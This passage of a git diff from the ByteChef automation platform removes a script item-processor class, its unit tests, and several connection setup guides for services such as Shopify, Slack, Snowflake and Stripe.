-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.script.engine.PolyglotEngine;
-import com.bytechef.platform.component.definition.AbstractClusterElementDefinitionWrapper;
-import com.bytechef.platform.component.definition.ClusterElementContextAware;
-import com.bytechef.platform.component.definition.ParametersFactory;
-import com.bytechef.platform.component.definition.datastream.ItemProcessor;
-import java.util.Map;
-
-/**
- * @author Ivica Cardic
- */
-public class ScriptClusterElementDefinition
-    extends AbstractClusterElementDefinitionWrapper<ScriptClusterElementDefinition>
-    implements ItemProcessor<Object, Object> {
-
-    private final String languageId;
-    private final PolyglotEngine polyglotEngine;
-
-    public ScriptClusterElementDefinition(
-        ClusterElementDefinition<?> clusterElementDefinition, String languageId, PolyglotEngine polyglotEngine) {
-
-        super(clusterElementDefinition);
-
-        this.languageId = languageId;
-        this.polyglotEngine = polyglotEngine;
-    }
-
-    @SuppressWarnings("unchecked")
-    @Override
-    public Map<String, Object> process(
-        Map<String, Object> item, Parameters inputParameters, Parameters connectionParameters,
-        ClusterElementContext context) {
-
-        return (Map<String, Object>) polyglotEngine.execute(
-            languageId, ParametersFactory.create(MapUtils.concat(inputParameters, Map.of(INPUT, Map.of("item", item)))),
-            null, (ClusterElementContextAware) context);
-    }
-}
diff --git a/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptJavaItemProcessorTest.java b/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptJavaItemProcessorTest.java
deleted file mode 100644
index 939eede0235..00000000000
--- a/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptJavaItemProcessorTest.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.script.datastream;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.Mockito.mock;
-
-import com.bytechef.component.script.datastream.definition.ScriptClusterElementDefinition;
-import com.bytechef.component.script.engine.PolyglotEngine;
-import com.bytechef.platform.component.definition.datastream.ItemProcessor;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class ScriptJavaItemProcessorTest {
-
-    @Test
-    void testOfCreatesValidDefinition() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptJavaItemProcessor.of(polyglotEngine);
-
-        assertThat(definition).isNotNull();
-        assertThat(definition.getName()).isEqualTo("java");
-        assertThat(definition.getTitle()).contains("Java");
-        assertThat(definition.getDescription()).contains("Transforms data stream items using custom Java code.");
-        assertThat(definition.getType()).isEqualTo(ItemProcessor.PROCESSOR);
-    }
-
-    @Test
-    void testOfReturnsDefinitionWithProperties() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptJavaItemProcessor.of(polyglotEngine);
-
-        assertThat(definition.getProperties()).isPresent();
-        assertThat(definition.getProperties()
-            .orElseThrow()).hasSize(1);
-        assertThat(definition.getProperties()
-            .orElseThrow()
-            .getFirst()
-            .getName()).isEqualTo("script");
-    }
-
-    @Test
-    void testOfDefinitionHasScriptProperty() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptJavaItemProcessor.of(polyglotEngine);
-
-        assertThat(definition.getProperties()).isPresent();
-        assertThat(definition.getProperties()
-            .orElseThrow()).isNotEmpty();
-        assertThat(definition.getProperties()
-            .orElseThrow()
-            .getFirst()
-            .getName()).isEqualTo("script");
-    }
-}
diff --git a/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptJavaScriptItemProcessorTest.java b/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptJavaScriptItemProcessorTest.java
deleted file mode 100644
index 7de5a42fa21..00000000000
--- a/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptJavaScriptItemProcessorTest.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.script.datastream;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.Mockito.mock;
-
-import com.bytechef.component.script.datastream.definition.ScriptClusterElementDefinition;
-import com.bytechef.component.script.engine.PolyglotEngine;
-import com.bytechef.platform.component.definition.datastream.ItemProcessor;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class ScriptJavaScriptItemProcessorTest {
-
-    @Test
-    void testOfCreatesValidDefinition() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptJavaScriptItemProcessor.of(polyglotEngine);
-
-        assertThat(definition).isNotNull();
-        assertThat(definition.getName()).isEqualTo("javaScript");
-        assertThat(definition.getTitle()).contains("JavaScript");
-        assertThat(definition.getDescription()).contains("Transforms data stream items using custom JavaScript code.");
-        assertThat(definition.getType()).isEqualTo(ItemProcessor.PROCESSOR);
-    }
-
-    @Test
-    void testOfReturnsDefinitionWithProperties() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptJavaScriptItemProcessor.of(polyglotEngine);
-
-        assertThat(definition.getProperties()).isPresent();
-        assertThat(definition.getProperties()
-            .orElseThrow()).hasSize(1);
-        assertThat(definition.getProperties()
-            .orElseThrow()
-            .getFirst()
-            .getName()).isEqualTo("script");
-    }
-
-    @Test
-    void testOfDefinitionHasScriptProperty() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptJavaScriptItemProcessor.of(polyglotEngine);
-
-        assertThat(definition.getProperties()).isPresent();
-        assertThat(definition.getProperties()
-            .orElseThrow()).isNotEmpty();
-        assertThat(definition.getProperties()
-            .orElseThrow()
-            .getFirst()
-            .getName()).isEqualTo("script");
-    }
-}
diff --git a/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptPythonItemProcessorTest.java b/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptPythonItemProcessorTest.java
deleted file mode 100644
index 5212c66ddd4..00000000000
--- a/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptPythonItemProcessorTest.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.script.datastream;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.Mockito.mock;
-
-import com.bytechef.component.script.datastream.definition.ScriptClusterElementDefinition;
-import com.bytechef.component.script.engine.PolyglotEngine;
-import com.bytechef.platform.component.definition.datastream.ItemProcessor;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class ScriptPythonItemProcessorTest {
-
-    @Test
-    void testOfCreatesValidDefinition() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptPythonItemProcessor.of(polyglotEngine);
-
-        assertThat(definition).isNotNull();
-        assertThat(definition.getName()).isEqualTo("python");
-        assertThat(definition.getTitle()).contains("Python");
-        assertThat(definition.getDescription()).contains("Transforms data stream items using custom Python code.");
-        assertThat(definition.getType()).isEqualTo(ItemProcessor.PROCESSOR);
-    }
-
-    @Test
-    void testOfReturnsDefinitionWithProperties() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptPythonItemProcessor.of(polyglotEngine);
-
-        assertThat(definition.getProperties()).isPresent();
-        assertThat(definition.getProperties()
-            .orElseThrow()).hasSize(1);
-        assertThat(definition.getProperties()
-            .orElseThrow()
-            .getFirst()
-            .getName()).isEqualTo("script");
-    }
-
-    @Test
-    void testOfDefinitionHasScriptProperty() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptPythonItemProcessor.of(polyglotEngine);
-
-        assertThat(definition.getProperties()).isPresent();
-        assertThat(definition.getProperties()
-            .orElseThrow()).isNotEmpty();
-        assertThat(definition.getProperties()
-            .orElseThrow()
-            .getFirst()
-            .getName()).isEqualTo("script");
-    }
-}
diff --git a/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptRubyItemProcessorTest.java b/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptRubyItemProcessorTest.java
deleted file mode 100644
index fbe3541c67e..00000000000
--- a/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/ScriptRubyItemProcessorTest.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.script.datastream;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.Mockito.mock;
-
-import com.bytechef.component.script.datastream.definition.ScriptClusterElementDefinition;
-import com.bytechef.component.script.engine.PolyglotEngine;
-import com.bytechef.platform.component.definition.datastream.ItemProcessor;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class ScriptRubyItemProcessorTest {
-
-    @Test
-    void testOfCreatesValidDefinition() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptRubyItemProcessor.of(polyglotEngine);
-
-        assertThat(definition).isNotNull();
-        assertThat(definition.getName()).isEqualTo("ruby");
-        assertThat(definition.getTitle()).contains("Ruby");
-        assertThat(definition.getDescription()).contains("Transforms data stream items using custom Ruby code.");
-        assertThat(definition.getType()).isEqualTo(ItemProcessor.PROCESSOR);
-    }
-
-    @Test
-    void testOfReturnsDefinitionWithProperties() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptRubyItemProcessor.of(polyglotEngine);
-
-        assertThat(definition.getProperties()).isPresent();
-        assertThat(definition.getProperties()
-            .orElseThrow()).hasSize(1);
-        assertThat(definition.getProperties()
-            .orElseThrow()
-            .getFirst()
-            .getName()).isEqualTo("script");
-    }
-
-    @Test
-    void testOfDefinitionHasScriptProperty() {
-        PolyglotEngine polyglotEngine = mock(PolyglotEngine.class);
-
-        ScriptClusterElementDefinition definition = ScriptRubyItemProcessor.of(polyglotEngine);
-
-        assertThat(definition.getProperties()).isPresent();
-        assertThat(definition.getProperties()
-            .orElseThrow()).isNotEmpty();
-        assertThat(definition.getProperties()
-            .orElseThrow()
-            .getFirst()
-            .getName()).isEqualTo("script");
-    }
-}
diff --git a/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/definition/ScriptClusterElementDefinitionTest.java b/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/definition/ScriptClusterElementDefinitionTest.java
deleted file mode 100644
index 736bea379f2..00000000000
--- a/server/libs/modules/components/script/src/test/java/com/bytechef/component/script/datastream/definition/ScriptClusterElementDefinitionTest.java
+++ /dev/null
@@ -1,127 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.script.datastream.definition;
-
-import static com.bytechef.component.definition.ComponentDsl.clusterElement;
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-import static org.mockito.Mockito.withSettings;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.ClusterElementDefinition;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.script.engine.PolyglotEngine;
-import com.bytechef.platform.component.definition.ClusterElementContextAware;
-import java.util.Map;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Ivica Cardic
- */
-class ScriptClusterElementDefinitionTest {
-
-    private ScriptClusterElementDefinition scriptClusterElementDefinition;
-    private PolyglotEngine polyglotEngine;
-    private Parameters inputParameters;
-    private Parameters connectionParameters;
-    private ClusterElementContext context;
-
-    @BeforeEach
-    void setUp() {
-        polyglotEngine = mock(PolyglotEngine.class);
-        inputParameters = mock(Parameters.class);
-        connectionParameters = mock(Parameters.class);
-        context = mock(
-            ClusterElementContext.class,
-            withSettings().extraInterfaces(ClusterElementContextAware.class));
-
-        ClusterElementDefinition<?> clusterElementDefinition = clusterElement("test")
-            .title("Test")
-            .description("Test processor");
-
-        scriptClusterElementDefinition = new ScriptClusterElementDefinition(
-            clusterElementDefinition, "js", polyglotEngine);
-    }
-
-    @Test
-    void testProcessDelegatestoPolyglotEngine() {
-        Map<String, Object> item = Map.of("name", "John", "age", 30);
-        Map<String, Object> expectedResult = Map.of("name", "John Doe", "age", 31);
-
-        when(polyglotEngine.execute(eq("js"), any(Parameters.class), eq(null), any(ClusterElementContextAware.class)))
-            .thenReturn(expectedResult);
-
-        Map<String, Object> result = scriptClusterElementDefinition.process(
-            item, inputParameters, connectionParameters, context);
-
-        assertThat(result).isEqualTo(expectedResult);
-
-        verify(polyglotEngine).execute(eq("js"), any(Parameters.class), eq(null),
-            any(ClusterElementContextAware.class));
-    }
-
-    @Test
-    void testProcessPassesItemInInputParameters() {
-        Map<String, Object> item = Map.of("id", 1, "value", "test");
-        Map<String, Object> expectedResult = Map.of("id", 1, "value", "processed");
-
-        ArgumentCaptor<Parameters> parametersCaptor = ArgumentCaptor.forClass(Parameters.class);
-
-        when(polyglotEngine.execute(eq("js"), parametersCaptor.capture(), eq(null),
-            any(ClusterElementContextAware.class)))
-                .thenReturn(expectedResult);
-
-        scriptClusterElementDefinition.process(item, inputParameters, connectionParameters, context);
-
-        Parameters capturedParameters = parametersCaptor.getValue();
-
-        assertThat(capturedParameters).isNotNull();
-    }
-
-    @Test
-    void testProcessReturnsNullWhenEngineReturnsNull() {
-        Map<String, Object> item = Map.of("data", "test");
-
-        when(polyglotEngine.execute(eq("js"), any(Parameters.class), eq(null), any(ClusterElementContextAware.class)))
-            .thenReturn(null);
-
-        Map<String, Object> result = scriptClusterElementDefinition.process(
-            item, inputParameters, connectionParameters, context);
-
-        assertThat(result).isNull();
-    }
-
-    @Test
-    void testProcessWithEmptyItem() {
-        Map<String, Object> item = Map.of();
-        Map<String, Object> expectedResult = Map.of("processed", true);
-
-        when(polyglotEngine.execute(eq("js"), any(Parameters.class), eq(null), any(ClusterElementContextAware.class)))
-            .thenReturn(expectedResult);
-
-        Map<String, Object> result = scriptClusterElementDefinition.process(
-            item, inputParameters, connectionParameters, context);
-
-        assertThat(result).isEqualTo(expectedResult);
-    }
-}
diff --git a/server/libs/modules/components/sendfox/src/main/resources/connection.mdx b/server/libs/modules/components/sendfox/src/main/resources/connection.mdx
deleted file mode 100644
index 68babd81a27..00000000000
--- a/server/libs/modules/components/sendfox/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,16 +0,0 @@
-## Connection Setup
-
-### Find OAuth Client ID and Client Secret
-
-1. Navigate to your dashboard.
-2. Click this icon.
-3. Click on **Settings**.
-4. Click on **API**.
-5. Click on **Create New Client**.
-6. Enter OAuth client name.
-7. Enter a redirect URI, e.g., http://127.0.0.1:5173/callback, https://app.bytechef.io/callback. Click on **Create**.
-8. Here you can see your credentials.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/c32a46b5-b477-499c-821f-99fd44407277?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/shopify/src/main/resources/connection.mdx b/server/libs/modules/components/shopify/src/main/resources/connection.mdx
deleted file mode 100644
index eb6780a342f..00000000000
--- a/server/libs/modules/components/shopify/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,69 +0,0 @@
-## Connection Setup
-
-### Create Shopify App (Credentials and Shop Name)
-
-1. Navigate to https://dev.shopify.com/dashboard/.
-2. Click on **Create app**.
-3. Enter App name and click on **Create**.
-4. Enter app and redirect url. Depending on which version of ByteChef you are using enter link or link for **Redirect URL**. And link or link for **App URL**.
-5. Enter required scopes:
-    read_customers,read_draft_orders,read_orders,write_orders,write_products
-and click on **Release**
-6. Click on **Release**.
-7. Click on **Settings**.
-8. Here you can see your credentials.
-9. Click on your account icon.
-10. Click on shop you want to connect to.
-11. Click on **Settings**.
-12. Here you can see your **Shop name**.
-13. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/14813747-a521-4abe-a5d4-077b94f25c78?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-### Install Shopify App
-
-1. Navigate to https://dev.shopify.com/dashboard/.
-2. Click your app.
-3. Click on **Install app**.
-4. Choose Shopify store you want to install your app in.
-5. Click on **Install**.
-6. Click on **Settings**.
-7. Click on **Apps and sales channels**.
-8. Here you can see your app is installed.
-9. Done. 🚀
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/980d4914-8f34-429d-8064-9daf53070d9d?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-### Enable Read All Orders Permission
-
-1. Navigate to https://partners.shopify.com/organizations.
-2. Choose your organization.
-3. Click on your app.
-4. Click on **API access requests**.
-5. Click on **Choose distribution**.
-6. Click on **Custom Distribution**.
-7. Click on **Select**.
-8. Click on **Select custom distribution**.
-9. Enter your **Shop name** here. In this example it is `bytechef-test-store.myshopify.com`.
-10. Click on **Generate link**.
-11. Click on **Generate link**.
-12. Click on **API access requests**.
-13. Click on **Request access** under **Read all orders scope**.
-14. Enter reason here.
-15. Click on **Request access**.
-16. Navigate to https://dev.shopify.com/dashboard/.
-17. Click on your app.
-18. Click on **Versions**.
-19. Click **Create a version**.
-20. Add `read_all_orders` to scopes.
-21. Click on **Release**.
-22. Click on **Release**.
-23. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/ef35fc0e-cfd2-4233-899a-c1745f181246?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/slack/src/main/resources/connection.mdx b/server/libs/modules/components/slack/src/main/resources/connection.mdx
deleted file mode 100644
index bf63590a7d0..00000000000
--- a/server/libs/modules/components/slack/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,29 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 App
-
-1. Navigate to [Slack App](https://api.slack.com/apps).
-2. Click on **Create New App**.
-3. Click on **From scratch**.
-4. Enter name of your app and select workspace where it will be installed.
-5. Click on **Create App**.
-6. Click on **Basic Information**
-7. Click on **OAuth & Permissions**.
-8. Click on **Add New Redirect URL**. ByteChef redirect URL: https://127.0.0.1:5173/callback or https://app.bytechef.io/callback.
-9. Click on **Add**.
-10. Click on **Save URLs**.
-11. Click on **Add an OAuth Scope**.
-    - channels:read
-    - channels:write
-    - channels:history
-    - chat:write:bot
-    - groups:read
-    - reactions:read
-    - mpim:read
-    - users:read
-    - incoming-webhook
-12. Under OAuth tokens click on **Install to ...**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/893e27e9-f6f7-4a07-bae8-b08169858c43?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/snowflake/src/main/resources/connection.mdx b/server/libs/modules/components/snowflake/src/main/resources/connection.mdx
deleted file mode 100644
index b2bceac9d22..00000000000
--- a/server/libs/modules/components/snowflake/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,46 +0,0 @@
-## Connection Setup
-
-### Find Account Identifier
-
-1. Navigate to your Snowflake dashboard.
-2. Click on your account in the lower left corner.
-3. Click on **View account details**.
-4. Here you can find your **Account Identifier**.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/c86bcbbd-5131-45b3-84a9-2262104ba169?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-
-### Create Security Integration
-
-1. Navigate to your Snowflake dashboard.
-2. Click on **Worksheets**.
-3. Click on **+** to create SQL worksheet.
-4. Paste this into worksheet, just change NAME to the name of your security integration:
-        CREATE SECURITY INTEGRATION NAME
-        TYPE = oauth
-        ENABLED = true
-        OAUTH_CLIENT = custom
-        OAUTH_CLIENT_TYPE = 'CONFIDENTIAL'
-        OAUTH_REDIRECT_URI = 'http://127.0.0.1:5173/callback'
-        OAUTH_ISSUE_REFRESH_TOKENS = TRUE
-        OAUTH_ALLOW_NON_TLS_REDIRECT_URI = true
-        OAUTH_REFRESH_TOKEN_VALIDITY = 86400;
-5. Click on this icon.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/bed6729c-aaa5-4b8b-9901-0ef8f849d6f2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-### Find Client ID and Secret
-
-https://docs.snowflake.com/sql-reference/functions/system_show_oauth_client_secrets
-
-1. Navigate to your Snowflake dashboard.
-2. Click on **Worksheets**.
-3. Click on **+** to create SQL worksheet.
-4. Paste this into worksheet, just change NAME to the name of your security integration:
-        select system$show_oauth_client_secrets(NAME)
-5. Run SQL worksheet.
diff --git a/server/libs/modules/components/spotify/src/main/resources/connection.mdx b/server/libs/modules/components/spotify/src/main/resources/connection.mdx
deleted file mode 100644
index c4286822ca4..00000000000
--- a/server/libs/modules/components/spotify/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,19 +0,0 @@
-## Connection Setup
-
-Connect Spotify to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Spotify OAuth app
-
-1. Go to your [Dashboard](https://developer.spotify.com/dashboard).
-2. Click on the **Create app**.
-3. Enter an app name and description of your choice.
-4. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback`
-5. Select Web API, put a tick in the Developer Terms of Service checkbox and finally click **Save**.
-6. Click **View client secret**.
-7. Copy **Client ID** and **Client Secret**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/vp2BqlZRtDLYQdewMKaq?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/stripe/src/main/resources/connection.mdx b/server/libs/modules/components/stripe/src/main/resources/connection.mdx
deleted file mode 100644
index 2bb5916f004..00000000000
--- a/server/libs/modules/components/stripe/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,14 +0,0 @@
-## Connection Setup
-
-### Find Token
-
-1. Navigate to [Stripe](https://dashboard.stripe.com) dashboard.
-2. Click on **Settings**.
-3. Click on **Developers**.
-4. Click on **Manage API Keys**.
-5. Here you can se your **API Key**.
-6. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/f8f1237d-4622-4898-b1f0-a2ba4d66436b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/supabase/src/main/resources/connection.mdx b/server/libs/modules/components/supabase/src/main/resources/connection.mdx
deleted file mode 100644
index 386a41de74d..00000000000
--- a/server/libs/modules/components/supabase/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,30 +0,0 @@
-## Connection Setup
-
-### Find Project URL
-
-1. Navigate to your Supabase dashboard.
-2. Click on the project you want to connect to.
-3. Click on **Project Settings**.
-4. Click on **Data API**.
-5. Click on **Copy**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/3e846e41-7f5a-4cff-997f-d132f1e27d9f?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-
-### Find Project API Key
-
-1. Navigate to your Supabase dashboard.
-2. Click on the project you want to connect to.
-3. Click on **Project Settings**.
-4. Click on **API Keys**.
-5. Click on **API Keys**.
-6. Click on **Create new API keys**.
-7. Click on **Create keys**.
-8. Click here to copy the API key.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/d2885676-bf3f-4641-acf8-4419cfd096c6?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/tavily/src/main/resources/connection.mdx b/server/libs/modules/components/tavily/src/main/resources/connection.mdx
deleted file mode 100644
index b702cacab9d..00000000000
--- a/server/libs/modules/components/tavily/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,10 +0,0 @@
-## Connection Setup
-
-1. Login to the dashboard at https://www.tavily.com/.
-2. You can use default API key. To create new API key, click on "+" sign.
-3. Name your key and click Create.
-4. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/SoAkwnI4qTGu8Kqt1BS1?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/teamwork/src/main/resources/connection.mdx b/server/libs/modules/components/teamwork/src/main/resources/connection.mdx
deleted file mode 100644
index dc415202bcc..00000000000
--- a/server/libs/modules/components/teamwork/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,19 +0,0 @@
-## Connection Setup
-
-### Find API Token
-
-1. Navigate to your [Teamwork](https://www.teamwork.com/) dashboard.
-2. Click on your account icon.
-3. Click on **Edit my details**.
-4. Click on **API & Mobile**.
-5. Click on **Show your Token**.
-6. Now you can copy your **API Token**.
-7. Exit pop up window.
-8. Click on your account icon.
-9. Click on **Settings**.
-10. Here you can see yore site name.
-11. Done 🚀.
-
